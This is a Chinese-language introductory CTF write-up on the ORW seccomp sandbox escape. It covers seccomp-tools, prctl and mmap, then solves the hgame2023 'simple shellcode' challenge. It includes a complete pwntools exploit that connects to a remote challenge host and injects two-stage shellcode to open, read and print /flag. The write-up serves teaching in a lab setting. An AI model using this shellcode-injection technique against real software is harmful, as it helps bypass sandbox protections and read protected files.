orw(沙箱逃逸)
现在有很多程序在运行时禁用了系统函数,均采用了沙箱技术开启了沙箱保护,我们不能正常的get shell,只能用ROP链来调用其他的函数,例如read,write来把flag打印出来。这就是orw沙箱逃逸技术的由来。
查看沙箱
在实战中我们可以通过 seccomp-tools
来查看程序是否启用了沙箱, seccomp-tools
工具安装方法如下:
- $ sudo apt install gcc ruby-dev
- $ gem install seccomp-tools
安装完成后通过 seccomp-tools dump ./pwn
即可查看程序沙箱。
沙箱函数
最原始的沙箱规则是用prctl()函数规定的,这个函数规定了程序哪些函数在程序里不能被调用,所以以后遇见了这种函数,那大概率是开了沙箱。
int **prctl** ( int **option**,unsigned long arg2,unsigned long arg3,unsigned long arg4,unsigned long arg5 )
mmap()
一般来说,orw这种类型的题都会有一个mmap函数来改写一个地址的读写权限,我们需要利用这块地址来构造ROP链。
void *mmap (void *addr, size_t length, int prot, int flags, int fd, off_t offset);
例题:hgame2023 simple shellcode
题目链接:NSSCTF
下载附件,打开题目,可以看见mmap和read函数
mmap函数给了0xcafe0000这个地址一个可读写可执行权限,read函数能够读取0x10的数据到该地址上,最后将该处内存作为函数调⽤。那这里就可以写入shellcode。
继续跟进sandbox函数
可以看见有两个prctl函数,可以判断程序利用了沙盒保护,用seccomp-tools进行检查
可以看出禁用了execve和execveat,这样子get shell就很难了,只能使用orw。
利用思路:
1.因为0x10这个空间很小,我们没办法在上面构建shellcode,那就只能再重新调用一个read函数。
2.调用完了read函数后,利用orw来打开flag文件,并进行读取。
exp如下:
from pwn import * #p = process('./vuln') p=remote('1.14.71.254',28371) elf = ELF('./vuln') context.log_level = 'debug' context.terminal = ["konsole", "-e"] context.arch = "amd64" r = lambda x: p.recv(x) ra = lambda: p.recvall() rl = lambda: p.recvline(keepends=True) ru = lambda x: p.recvuntil(x, drop=True) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) ia = lambda: p.interactive() c = lambda: p.close() li = lambda x: log.info(x) db = lambda: gdb.attach(p) s = lambda x: p.send(x) shellcode = asm(""" xor eax,eax xor edi,edi mov edx,0x1000 mov esi,0xcafe0000 syscall """) #这里是调用read函数 sa("Please input your shellcode:",shellcode) shellcode = b"\x90" * 0x100 #这里的'\x90'是把程序的其他指令改写成nop,即去掉其他指令 shellcode += asm(shellcraft.open("/flag")) shellcode += asm(shellcraft.read(3,0xcafe0100,0x100)) shellcode += asm(shellcraft.write(1,0xcafe0100,0x100)) s(shellcode) ia()
orw还有一些其他限制,例如or缺w,rw缺o的情况,这里只是一个入门报告,就不详细介绍了,具体可以看这篇文章浅谈 ORW
标签:入门,报告,read,orw,函数,沙箱,shellcode,lambda From: https://www.cnblogs.com/fuxuqiannian/p/17144953.html